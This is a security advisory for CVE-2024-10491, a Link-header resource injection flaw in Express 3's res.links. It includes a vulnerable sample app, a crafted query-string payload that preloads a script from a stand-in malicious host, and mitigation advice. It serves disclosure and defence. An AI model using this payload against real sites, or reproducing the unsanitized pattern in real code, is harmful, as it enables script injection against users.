Overview
Express is a minimal and flexible Node.js web application framework that provides a robust set of features for web and mobile applications.
A Resource Injection vulnerability (CVE-2024-10491) has been identified in the Express response.links function, allowing for arbitrary resource injection in the Link header when unsanitized data is used. The issue arises from improper sanitization in Link header values, which can allow a combination of characters like ,, ;, and <> to preload malicious resources. This vulnerability is especially relevant for dynamic parameters.
Per MITRE: Resource Injection happens when the application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control.
This issue affects Express versions 3.0.0-alpha1 to 3.21.2.
Details
Module Info
- Product: Express
- Affected packages: express
- Affected versions: >=3.0.0-alpha1 <=3.21.2
- GitHub repository: https://github.com/expressjs/express
- Published packages: https://www.npmjs.com/package/express
- Package manager: npm
- Fixed in: Express NES v3.21.5
Steps To Reproduce
- Create an Express application and configure res.links to set value from query param:
var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.links({preload: req.query.resource});
res.send('ok');
});
app.listen(3000);
- Use a specially-crafted payload to set multiple links header. For example:
// note how the query param uses < > to load arbitrary resource
const maliciousQueryParam = '?resource=http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com';
const url = `http://localhost:3000/${maliciousQueryParam}`;
fetch(url);
- We can note how multiple headers have been set:
<http://api.example.com/users?resource=>; rel="preload", <http://api.malicious.com/1.js>; rel="preload"; as="script", <http:/api.example.com>; rel="preload"
Proof Of Concept
A full reproduction with code similar to the above can be found here:
Express resource injection vulnerability POC
Credits
- Abze (finder)
Mitigation
Express 3 has reached End-of-Life and will not receive any updates to address this issue. For more information see here.
Users of the affected components should apply one of the following mitigations:
- Migrate affected applications away from Express 3.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.
